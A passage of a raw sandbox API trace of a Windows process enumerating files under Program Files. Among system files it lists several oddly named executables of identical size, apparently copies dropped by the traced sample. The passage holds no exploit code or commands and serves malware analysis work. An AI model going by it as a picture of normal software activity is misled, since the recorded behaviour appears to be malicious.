ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0029.684] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 0 [0029.684] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56351f50, ftCreationTime.dwHighDateTime=0x1d5bafa, ftLastAccessTime.dwLowDateTime=0x35417a70, ftLastAccessTime.dwHighDateTime=0x1d54ab4, ftLastWriteTime.dwLowDateTime=0x35417a70, ftLastWriteTime.dwHighDateTime=0x1d54ab4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c554863, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8c554863, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2aeed770, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x154400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b77e99a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b77e99a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b043430, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x156800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNWDRV.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77861d5d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x77861d5d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778fa2d1, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x778fa2d1, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x757cd2ce, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x757cd2ce, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0b6020, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwppr.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a4bf5a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1a4bf5a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1abe37b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x210600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b92e68, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x97b92e68, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x36740f70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0029.685] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0029.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0029.687] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0 [0029.688] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfedd7bb0, ftCreationTime.dwHighDateTime=0x1d5b7d6, ftLastAccessTime.dwLowDateTime=0x37e50fb0, ftLastAccessTime.dwHighDateTime=0x1d58c3d, ftLastWriteTime.dwLowDateTime=0x37e50fb0, ftLastWriteTime.dwHighDateTime=0x1d58c3d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trademarksnominationbrighton.exe", cAlternateFileName="TRADEM~1.EXE")) returned 1 [0029.688] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfedd7bb0, ftCreationTime.dwHighDateTime=0x1d5b7d6, ftLastAccessTime.dwLowDateTime=0x37e50fb0, ftLastAccessTime.dwHighDateTime=0x1d58c3d, ftLastWriteTime.dwLowDateTime=0x37e50fb0, ftLastWriteTime.dwHighDateTime=0x1d58c3d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trademarksnominationbrighton.exe", cAlternateFileName="TRADEM~1.EXE")) returned 0 [0029.688] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0029.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa069e9f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa069e9f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2b5b780, ftCreationTime.dwHighDateTime=0x1d5a511, ftLastAccessTime.dwLowDateTime=0x4dec5d50, ftLastAccessTime.dwHighDateTime=0x1d59bf0, ftLastWriteTime.dwLowDateTime=0x4dec5d50, ftLastWriteTime.dwHighDateTime=0x1d59bf0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0029.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.689] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0029.689] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0029.689] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0029.690] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 